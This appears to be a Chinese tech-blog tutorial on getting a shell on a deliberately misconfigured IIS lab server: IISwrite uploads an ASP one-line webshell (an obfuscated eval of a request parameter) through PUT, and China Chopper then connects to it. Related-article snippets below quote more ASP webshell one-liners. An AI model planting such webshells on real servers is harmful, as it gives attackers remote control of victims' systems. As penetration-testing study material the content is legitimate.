使用中国菜刀(结合一句话木马)通过Iiswriter的put方法getshell

最新推荐文章于 2025-09-30 17:43:58 发布
原创 最新推荐文章于 2025-09-30 17:43:58 发布 · 3.7k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文详细介绍了一种通过IISwrite软件实现远程服务器文件上传的方法，包括客户端配置、服务器设置、权限修改及利用上传的ASP文件执行远程命令的过程。
  • 1.在客户端安装iiswrite软件，并关闭客户端防火墙

 

 

 

  • 2.服务器安装iis，勾选以下选项

 

  • 3.更改iis网站的主目录，将所有权限都勾选，再将网址的权限里来宾账户的权限改为完全控制

 

  • 4.在客户机使用iiswrite对服务器所在文夹件上传一个txt文件并改后缀为asp，内容为<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("shezhang"))%>

 

 

  • 5.客户机进行访问http://192.168.16.139/shell.asp

  • 6.添加shell，运行

     

 

IIS6.0 put文件上传GetShell
渗透之路，攻防之间皆学问
05-24 4307
当IIS服务器开启了webdav服务扩展，又设置了来宾账户对web目录拥有写入权限时，可以被恶意攻击者利用，直接上传恶意文件。
【实战系列3】IIS PUT文件上传漏洞GetShell
04-10 3311
IIS（Internet Information Services）PUT文件上传漏洞是一种安全漏洞，影响微软的IIS服务器。它允许攻击者通过HTTP PUT请求上传任意文件到服务器上，从而可能导致恶意文件的上传和执行，可能引发远程代码执行攻击，导致服务器被攻陷。
IIS PUT漏洞原理和复现
p_utao的博客
01-27 1191
漏洞成因 IIS server在WEB服务拓展中开启了WebDAV，配置了写入权限，脚本资源访问权限。导致任意文件上传 本地搭建 首先允许webDAV 查看IP命令为ipconfig 把IP地址调整为这台机器的IP地址 返回访问该IP 因为这里主要是为了锻炼写POC，当然也可以直接使用桂林老兵验证直接写shell POC验证 POC验证： import requests url = "http://IP" r = requests.options(url) result = r.headers[
一文厘清计算机病毒、蠕虫、木马，有对比有举例！
A1_3_9_7的博客
09-18 1336
计算机病毒、蠕虫、木马都是恶意程序，计算机病毒的特点是寄生性、传染性和潜伏性；计算机蠕虫的最大特点是爆发性，靠消耗计算和网络资源进行拒绝服务攻击；木马的特点是隐蔽性，目的在于长期远程操控。它们三者虽有不同的特点，但在实际使用中并不会割裂开，攻击者往往会根据收集到的目标信息结合使用三种攻击方式。
wqCms6.0在IIS6的Getshell
ai74583的博客
02-22 210
2017-02-15发布 一、漏洞利用点 漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点 二、hack it 三、POC <html> <body> <form action="http://127.0.0.1/admin_UploadDataHandler.ashx" method="PO...
渗透测试系列之iis解析漏洞getshell+内网渗透
win176489的博客
06-27 3564
本次渗透测试经验分享仅供大家学习交流 本次利用的环境为内网web服务器windows2003(模拟内网主机 ip192.168.152.128 192.168.79.128) 一台外网主机 (ip xxx.xxx.xxx.xxx ) 攻击机win10（ip 192.168.31.169） kali机（192.168.31.43） 环...
iiswriter配合菜刀通过put和move请求方式拿下iis6,.0getshell
Night_time的博客
04-29 680
实验环境：windows2003虚拟机 pc端windows 10 实验工具：iiswriter 菜刀 实验步骤： 一，win3搭建iis服务器 搭建步骤： 我的电脑——》CD驱动器——》安装可选的windows组件 找到 ——》应用程序服务器 勾选ASP,NET //允许计算机运行sap和net应用程序 这里只用到asp 点击internet信息服务（ii...
漏洞知识点《一句话木马》
qq_46143339的博客
03-18 2638
代码，常用于渗透攻击中获取服务器控制权。服务器完全暴露给攻击者，可执行任意系统命令，导致数据泄露、服务瘫痪、横向渗透等严重后果。是 PHP 中一个危险的函数，它将字符串作为 PHP 代码直接执行。是语言结构而非函数，需通过扩展（如 Suhosin）彻底禁用。通过 HTTP POST 请求向服务器发送。并返回当前用户权限信息，实现远程控制。攻击者可通过此参数动态控制服务器行为。攻击者可向服务器发送携带恶意代码的。是 PHP 语言中一种典型的。参数，其内容会作为代码注入到。的值会被解析为代码并执行。
Web渗透之一句话木马
最新发布
Strategic__的博客
09-30 812
支持PHP、JSP、ASP、ASPX等多种脚本类型，提供命令执行、文件管理、数据库操作等功能，界面简洁，操作便捷，是国内渗透测试人员常用工具。黑盒测试不依赖目标系统的源代码，仅通过模拟攻击者的实际操作，利用网站公开功能（如文件上传、数据提交、参数交互等）尝试植入或触发一句话木马，核心思路是“寻找可写入脚本代码的入口，并验证代码是否能被服务器解析执行”。asp：<%execute(request("pass"))%>（执行POST参数pass的命令）、<%evalrequest("code")%>
msf生成php木马,11.7 Weevely3生成网页木马、Backcookie后门生成工具、使用msf生成木马、一句话变形技巧和使用...
weixin_36005427的博客
03-27 2101
大马：代码量大，体积大，可以和一句话木马配合使用(先传一句话后传大马)，一般同意被发现，可变形或伪装(编码、远程接入)，主要功能：文件管理、，命令执行、数据库管理、清理木马、屑木马、收集信息、提权等。Webshell管理工具的介绍和使用：Webshell工具主要和一句话配合使用中国菜刀、中国蚁剑等Weevely3生成网页木马(基于python)python weevely.py -h python...
apache的网站配置目录_网站后台getshell的方法总结
weixin_39977776的博客
11-06 687
方法一：直接上传getshell以dedecms为例，后台可以直接上传脚本文件，从而getshell，具体方法如下：即可成功上传大马，并成功执行，从而拿下webshell。坑：通常由于权限限制，导致只有该目录权限，无法进入其他目录，此时便可以采用../跳转到根目录，或者其他目录，此时所采用的方法是如下的文件改名方法二：数据库备份getshell以南方数据cms为例：1，首先上传一张图片马...
iiswrite.exe
10-29
iiswrite.exe --------------------渗透工具
国外IIS扫描探测工具_IIs Put_Scanner_v1.1 iiswrite
03-31
国外IIS扫描探测工具_IIs Put_Scanner_v1.1 iiswrite。。。。
iiswrite.exe和IISPutScanner.exe
04-07
该漏洞的产生原因来源于服务器配置不当造成，利用IIS PUT Scaner扫描有漏洞的iis，此漏洞主要是因为服务器开启了 webdav的组件导致的可以扫描到当前的操作，具体操作其实是通过webdav的OPTION来查询是否支持PUT。 具体的原理在这个链接里。
iiswrite渗透工具.zip
07-12
实验和测试使用，iiswrite工具
Iis put scanner + iis write
08-10
不用多说，有空自己百度，没空还是百度！！！！
AG一句话木马总结
weixin_45486362的博客
06-25 649
asp一句话木马 <%eval request("AG")%> <%execute request("AG")%> <%execute(request("AG"))%> <%execute request("AG")%><%'<% loop <%:%> <%'<% loop <%:%><%execute request("AG")%> "%><%execute(request("
中国菜刀php一句话,中国菜刀之写一句话木马变形
weixin_39879674的博客
04-01 1022
了解一句话脚本的工作原理一句话脚本的工作原理：一句话恶意脚本分析服务端与客户端。(此处以asp脚本语言简述原理)一句话恶意脚本服务端就是我们要用来插入到asp文件中的asp语句，(不仅仅是以asp为后缀的数据库文件)，该语句将回为触发，接收入侵者通过客户端提交的数据，执行并完成相应的操作，服务端的代码内容为 其中pass可以自己修改一句话恶意脚本客户端(即为中国菜刀主程序)用来向服务端提交控制数据...
中国菜刀的使用
xy_wjyjw的博客
10-27 480
中国菜刀实现与一句话木马联动：中国菜刀在本地（攻击机）。一句话木马在服务器（靶机）上。WebShell Manager管理工具。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值